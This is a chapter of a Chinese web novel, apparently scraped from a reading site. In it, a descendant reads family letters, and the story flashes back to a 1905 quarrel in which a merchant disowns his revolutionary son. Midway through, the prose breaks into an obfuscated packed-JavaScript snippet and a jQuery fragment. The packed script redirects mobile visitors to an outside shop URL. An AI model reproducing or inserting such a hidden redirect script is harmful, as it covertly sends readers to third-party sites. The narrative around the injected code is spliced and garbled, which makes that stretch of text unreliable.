沈未明在书房里，找到了一摞旧信。
是沈佩弦写的。
收信人，是他的一个朋友，姓林，叫林觉民。
不对，不是林觉民。是林觉什么来着？沈未明记不清了。反正也是个革命党人。
信写得很慷慨激昂。什么"驱除鞑虏，恢复中华"，什么"天下兴亡，匹夫有责"，什么"我以我血荐轩辕"……
看得沈未明热血沸腾的。
他没想到，沈佩弦还是个革命党。
他以前只知道，沈佩弦是个文人，会作诗，会弹琴。
没想到，他还干过这个。
难怪，他后来死得那么早。
族谱上写着，沈佩弦死于宣统三年，才二十八岁。
怎么死的？没写。
现在看来，应该是闹革命，被清政府杀了？
还是说，别的什么原因？
沈未明不知道。
他只知道，这对父子，肯定闹过很大的矛盾。
一个是老谋深算的富商，一个是热血沸腾的革命青年。
想想就知道，肯定合不来。
光绪三十一年，秋。
观澜堂里，气氛很压抑。
已经好几天了。
从上月沈佩弦从上海回来，家里就没安生过。
沈观澜坐在书房里，脸色铁青。
桌子上，放着一摞纸。
是沈佩弦写的文章。
什么《论革命之必要》，什么《告同胞书》……
一篇比一篇激进。
沈观澜越看，越生气。
"混账！"他猛地一拍桌子，"真是混账！"
站在旁边的管家，吓得一哆嗦。
"老爷，您消消气。"管家小声说，"少爷年轻，不懂事。您别跟他一般见识。"
"不懂事？"沈观澜冷笑了一声，"他都二十四了！还不懂事？我二十四岁的时候，都已经……"
他没说下去。
他二十四岁的时候，已经在商场上摸爬滚打好多年了。已经见过太多的生死，太多的人心险恶。
可是他这个儿子呢？
二十四岁了，还像个小孩子似的，整天就知道吟诗作对，跟那些不三不四的人混在一起。
现在倒好，居然闹起革命来了。
他知不知道，这是杀头的罪？
"他人呢？"沈观澜问。
"在……在花园里。"管家说，"跟二小姐在一起。"
"把他给我叫来。"沈观澜说，"马上。"
"是。"
管家赶紧退了出去。
沈佩弦来的时候，还在哼着小调。
一副满不在乎的样子。
"爹，您找我？"他笑嘻嘻地说。
沈观澜看着他这副样子，更生气了。
"你给我跪下！"他厉声说。
沈佩弦愣了一下。
"爹，怎么了？"
"跪下！"沈观澜又说了一遍。
沈佩弦看了看他爹的脸色，知道他是真生气了。
他犹豫了一下，还是跪了下去。
"爹，我做错什么了？"他问。
"做错什么了？"沈观澜拿起桌上的那些文章，扔在他面前，"你自己看！"
沈佩弦低头看了看。
是他写的那些文章。
他的脸色，变了变。
"爹，您……您怎么找到的？"
"我怎么找到的？"沈观澜冷笑了一声，"我要是再晚发现几天，你是不是就要把脑袋给弄丢了？"
"爹，"沈佩弦抬起头，看着他爹，说，"我写的这些，都是对的。现在的朝廷，太腐败了。我们必须革命，才能救中国。"
"革命？"沈观澜气得笑了，"你懂什么叫革命？"
"我怎么不懂？"沈佩弦说，"孙先生说了，驱除鞑虏，恢复中华，创立民国，平均地权。这就是革命！"
"孙先生？"沈观澜说，"哪个孙先生？孙中山？"
"对！"沈佩弦眼睛一亮，"爹，您也知道孙先生？"
"我当然知道。"沈观澜说，"朝廷通缉的要犯嘛。"
"爹，"沈佩弦说，"孙先生是伟人！他是为了我们中国人好！"
"伟人？"沈观澜冷笑了一声，"我看是个疯子。"
"爹！"沈佩弦急了，"您怎么能这么说？"
"我怎么不能这么说？"沈观澜说，"放着好好的日子不过，非要闹什么革命。革命革命，革到最后，把自己的命革进去了，有什么好处？"
"爹，"沈佩弦说，"人固有一死，或重于泰山，或轻于鸿毛。为了革命而死，死得其所！"
"放狗屁！"沈观澜骂道，"死了就是死了！什么重于泰山轻于鸿毛的，都是废话！"
他指着沈佩弦，气得手都在抖："我告诉你，沈佩弦，我沈观澜就你这么一个儿子。你要是有个三长两短，我这份家业，留给谁？"
"爹，"沈佩弦说，"家业家业，您就知道家业！难道在您眼里，就只有钱吗？"
"不然呢？"沈观澜说，"没有钱，你能活到今天？没有钱，你能吃好的穿好的？没有钱，你能去上海读书，能认识那些不三不四的人？"
"爹，"沈佩弦说，"人活着，不能只为了钱。还有比钱更重要的东西！"
"什么东西？"沈观澜说，"你说！什么东西比钱更重要？"
"理想！"沈佩弦说，"信念！还有，家国天下！"
沈观澜看着他，看了半天。
然后，他突然笑了。
笑得很凄凉。
"理想？信念？家国天下？"他说，"佩弦啊佩弦，你真是太年轻了。"
"等你再长大点，你就知道了。这些东西，都不能当饭吃。"
"爹，"沈佩弦说，"您怎么能这么说？您年轻的时候，难道就没有理想吗？"
沈观澜愣住了。
理想？
他年轻的时候，有过理想吗？
好像……有过吧。
那时候，他想读书，想考科举，想光宗耀祖。
可是后来呢？
后来，他爹娘死了，妹妹死了。他连饭都吃不上了。
还谈什么理想？
从那时候起，他的理想，就只剩下一个了。
那就是，活下去。
好好地活下去。
让自己，让自己的家人，都好好地活下去。
这有错吗？
"爹？"沈佩弦看他不说话，又叫了一声。
沈观澜回过神来。
他看着跪在地上的儿子。
年轻，英俊，眼睛里闪着光。
像他年轻的时候。
不，比他年轻的时候，还要耀眼。
他心里，突然一阵柔软。
可是，这柔软，很快就被愤怒和担忧取代了。
不行。
他不能让儿子走这条路。
太危险了。
他辛辛苦苦创下这份家业，好不容易才让孩子们过上好日子。
他不能让儿子，就这么把命给丢了。
"佩弦，"沈观澜的语气，缓和了一点，"爹知道，你有理想，有抱负。这是好事。"
"但是，"他话锋一转，"革命这种事，太危险了。你听爹的，别掺和了，啊？"
"爹，"沈佩弦说，"不行。现在国家都这样了，我们读书人，怎么能袖手旁观？"
"国家怎么样，轮得到你管吗？"沈观澜说，"你以为你是谁？你就是个普通老百姓。老老实实过你的日子就行了。"
"爹，"沈佩弦说，"天下兴亡，匹夫有责。我怎么能不管？"
"我让你别管，你就别管！"沈观澜又生气了，"我是你爹！我说的话，你听不听？"
"爹，"沈佩弦说，"别的事，我都可以听您的。但是这件事，不行。"
"你！"沈观澜气得指着他，半天说不出话来。
"好，好，好。"他连说了三个好字，"你长大了，翅膀硬了，是不是？连我的话都不听了？"
"爹，我不是不听您的话。"沈佩弦说，"我只是……我只是觉得，您错了。"
"我错了？"沈观澜笑了，"我吃过的盐，比你吃过的米都多。我走过的桥，比你走过的路都多。你居然说我错了？"
"爹，"沈佩弦说，"您那一套，已经过时了。现在是新时代了。"
"新时代？"沈观澜说，"什么新时代？再新的时代，人也得吃饭，也得活下去。"
"爹，"沈佩弦说，"我们不能只想着自己活下去。我们还要为后人着想。我们现在革命，就是为了让我们的子孙后代，能过上更好的日子。"
沈观澜看着他，看了很久。
然后，他慢慢说："佩弦，你真的以为，革命了，就能过上好日子了？"
"为什么不能？"沈佩弦说，"等推翻了满清，建立了民国，大家人人平等，再也没有压迫，再也没有剥削。那时候，日子肯定会比现在好。"
"你太天真了。"沈观澜摇了摇头，说，"这世上，从来就没有什么人人平等。有人的地方，就有高低贵贱，就有压迫剥削。换了谁当皇帝，都一样。"
"不一样！"沈佩弦说，"爹，您不懂。"
"我不懂？"沈观澜说，"我什么不懂？我见过的人，比你见过的都多。我见过的事，比你听过的都多。"
他看着沈佩弦，一字一句地说："我告诉你，这世道，从来就没变过。以前是这样，以后，还是这样。"
"不会的！"沈佩弦说，"孙先生说了……"
"又是孙先生！"沈观澜打断他，"孙先生说的，就都对吗？他自己都流亡海外，不敢回来。他说的那些话，有几句能当真？"
"爹！"沈佩弦也急了，"您怎么能这么说孙先生？他是为了我们中国人好！"
"为了我们好？"沈观澜冷笑了一声，"他自己怎么不来闹革命？躲在国外，让你们这些年轻人去送死。这就是为了我们好？"
"不是的！"沈佩弦说，"孙先生是有苦衷的！"
"苦衷？"沈观澜说，"什么苦衷？我看他就是怕死！"
"爹！"沈佩弦猛地站了起来，"您可以骂我，但是您不能骂孙先生！"
沈观澜愣住了。
他没想到，儿子居然敢站起来跟他顶嘴。
还敢用这种语气跟他说话。
"你……"他指着沈佩弦，气得手都在抖，"你再说一遍？"
"我说，"沈佩弦看着他爹，一字一句地说，"您不能骂孙先生。"
两个人，就这么对视着。
一个站着，一个坐着。
一个年轻，一个年老。
一个眼睛里闪着理想的光，一个眼睛里满是愤怒和失望。
空气，好像都凝固了。
过了很久，沈观澜才慢慢开口。
"好，好。"他说，声音很低，很沉，"你长大了。"
"爹……"沈佩弦有点后悔了。
他刚才，是不是太冲动了？
"你走吧。"沈观澜说，闭上了眼睛。
"爹？"
"我让你走。"沈观澜说，"你不是要革命吗？你不是觉得我错了吗？那你走啊。去闹你的革命，去追求你的理想。别在我这儿待着。"
"爹，"沈佩弦说，"我不是这个意思……"
"你别叫我爹。"沈观澜说，"我没有你这样的儿子。"
沈佩弦的脸，一下子白了。
"爹，您……您别这么说。"
"我怎么说？"沈观澜睁开眼，看着他，"我说错了吗？你眼里，还有我这个爹吗？还有这个家吗？"
"我有！"沈佩弦说，"爹，我心里有您，也有这个家。但是，我也有我的理想。"
"理想？"沈观澜冷笑了一声，"等你死了，你的理想，有个屁用。"
"爹！"
"你别叫我爹。"沈观澜说，"你要是非要闹你的革命，你就走。走得越远越好。从今往后，你不是我沈观澜的儿子，我也不是你爹。我们父子，恩断义绝。"
沈佩弦看着他爹，嘴唇哆嗦着。
眼泪，在眼眶里打转。
"爹，您真的……要赶我走？"
"是。"沈观澜说，斩钉截铁。
沈佩弦站在那里，站了很久。
眼泪，终于掉了下来。
他擦了擦眼泪，看着他爹，说："好。我走。"
"但是爹，"他说，"我不怪您。我知道，您是为我好。"
"只是，"他顿了顿，说，"人各有志。"
说完，他转过身，往外走去。
走到门口，他停了一下。
他想回头。
想再看他爹一眼。
可是，他没有。
他咬了咬牙，推开门，走了出去。
门在他身后，"砰"的一声，关上了。
沈观澜坐在椅子上，一动不动。
他听着儿子的脚步声，越来越远。
越来越远。
直到，听不见了。
然后，他猛地伸出手，把桌子上的东西，全都扫到了地上。
茶杯，砚台，笔墨纸砚……
"哗啦"一声，碎了一地。
管家在外面，听到声音，吓得一哆嗦。
可是，他不敢进去。
他知道，老爷正在气头上。
这时候进去，只会挨骂。
沈观澜坐在书房里，坐了很久。
地上，一片狼藉。
他就那么坐着，一动不动。
像一尊雕像。
天，慢慢黑了。
屋子里，也暗了下来。
管家进来点了灯，又悄悄退了出去。
灯光，把沈观澜的影子，投在墙上。
孤零零的。
不知道过了多久，沈观澜才慢慢开口。
"佩弦……"他低声说，"你怎么这么傻……"
声音里，带着说不出的疲惫和痛苦。
他不是真的想赶儿子走。
他只是……太生气了。
也太害怕了。
他怕儿子真的去闹革命，真的把命给丢了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735655|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>他想吓吓他。
想让他回心转意。
可是没想到，这孩子，脾气这么倔。
说走，就真的走了。
"傻孩子……"沈观澜喃喃地说，"你以为，革命是那么好闹的？"
"你以为，理想是那么好实现的？"
"等你碰得头破血流的时候，你就知道了。"
"爹都是为了你好啊……"
他说着，眼泪就掉了下来。
这是他第三次哭。
第一次，是在爹娘的坟前。
第二次，是在密室里，对着观音像。
这是第三次。
为了他的儿子。
他这辈子，什么苦都吃过，什么罪都受过。
什么大风大浪，都过来了。
他以为，他早就不会哭了。
可是现在，他还是哭了。
因为，他是真的担心。
真的，害怕。
他不怕死。
也不怕下地狱。
他只怕，他的儿子，出什么事。
沈佩弦走了。
走了之后，就再也没回来过。
沈观澜嘴上说，不认这个儿子了。
可是，他心里，从来没放下过。
他派人，偷偷地去打听沈佩弦的消息。
知道他去了日本。
知道他在日本，继续闹革命。
知道他，过得不好。
很辛苦。
沈观澜听了，心里很不是滋味。
他想派人给儿子送点钱去。
可是，他又拉不下脸。
而且，他也怕，送钱过去，反而会害了儿子。
万一被朝廷查到了，那可就麻烦了。
他只能，默默地，关注着儿子的消息。
每天，都让管家去买报纸。
看看上面，有没有关于革命党的消息。
有没有，关于他儿子的消息。
每次看到革命党被抓被杀的消息，他的心，就揪一下。
生怕，里面有他儿子。
这种日子，太熬人了。
比他当年做生意，赔了钱的时候，还要熬人。
他终于知道了。
什么叫，牵肠挂肚。
什么叫，度日如年。
苏婉经常劝他。
"老爷，"她说，"您别太担心了。佩弦是个大人了，他知道自己在做什么。"
"他知道个屁。"沈观澜说，"他就是个孩子。什么都不懂。"
"可是，"苏婉说，"年轻人，总是要出去闯闯的。不闯闯，怎么能长大呢？"
"闯？"沈观澜说，"拿命去闯？"
苏婉叹了口气，说："老爷，我知道您担心。可是，担心也没用啊。"
"您要是真的想他，就把他叫回来吧。"她说，"您是他爹，您跟他低个头，不丢人。"
沈观澜沉默了。
他想。
他真的想。
可是，他拉不下脸。
而且，他也怕。
怕儿子回来，还是要闹革命。
怕他在家里待不住。
怕他，还是会走。
与其那样，还不如，就让他在外面待着。
至少，眼不见，心不烦。
虽然，还是会想。
还是会担心。
沈未明读到这里，停了下来。
他想起了自己的父亲。
他从来没见过他父亲。
他母亲说，他父亲死了。
在他出生之前，就死了。
可是，他总觉得，不是这样的。
他母亲说起他父亲的时候，眼神总是怪怪的。
像是有什么事，瞒着他。
而且，他母亲，从来不让他问关于他父亲的事。
一问，她就生气。
小时候，他问过几次。每次，都被母亲骂一顿。
后来，他就不问了。
可是，他心里，一直有个疙瘩。
他父亲，到底是谁？
到底是怎么死的？
为什么，母亲从来不愿意提起？
沈未明想了想。
沈家的男人，好像都死得挺早的。
沈佩弦，二十八岁就死了。
沈静言，虽然活了八十多岁，可是……
不对，沈静言是第三代，活了八十三岁，不算早死。
沈知夏，第四代，五十七岁死的。也不算太早。
可是，沈佩弦，还有沈佩璋呢？
沈佩璋后来怎么样了？
族谱上写着，沈佩璋死于民国二年，才三十一岁。
也死得挺早的。
怎么回事？
难道，真的有什么诅咒？
"七世而斩"？
沈未明摇了摇头。
不可能。
都是巧合罢了。
可是，为什么，他心里，总是有点发慌？
他想起了镜子里的那些人。
想起了母亲的笑容。
想起了石头上的字。
这一切，到底是怎么回事？
沈未明不知道。
他只知道，他离真相，好像越来越近了。
可是，他心里，却越来越害怕。
他怕，真相会很残酷。
残酷到，他接受不了。
沈未明把那些信，放回原处。
他站起身，走到窗边。
外面，下雨了。
秋雨。
淅淅沥沥的，下得不大，但是很密。
打在树叶上，发出沙沙的声音。
像有人在哭。
沈未明看着雨，看了很久。
他想起了沈佩弦。
那个年轻的，理想主义的，有点幼稚，但是很真诚的年轻人。
他最后，怎么样了？
他的理想，实现了吗？
他后悔过吗？
还有，他跟他爹，最后和解了吗？
沈未明不知道。
他只知道，这对父子，都挺不容易的。
一个，用自己的方式，爱着儿子。
一个，用自己的方式，追求着理想。
都没有错。
可是，就是走不到一起去。
这世上，很多父子，是不是都这样？
沈未明想起了自己。
他跟他母亲，好像也是这样。
明明都爱着对方。
可是，就是说不到一块儿去。
就是，互相伤害。
为什么呢？
沈未明想不通。
雨，还在下。
淅淅沥沥的。
像永远都不会停似的。
沈未明站在窗边，站了很久。
他好像听到了很多声音。
有沈观澜的叹息声。
有沈佩弦的哭泣声。
还有，很多很多人的，说话声，哭喊声，争吵声……
都混在雨声里。
模模糊糊的，听不真切。
像一场梦。
又像，是真的。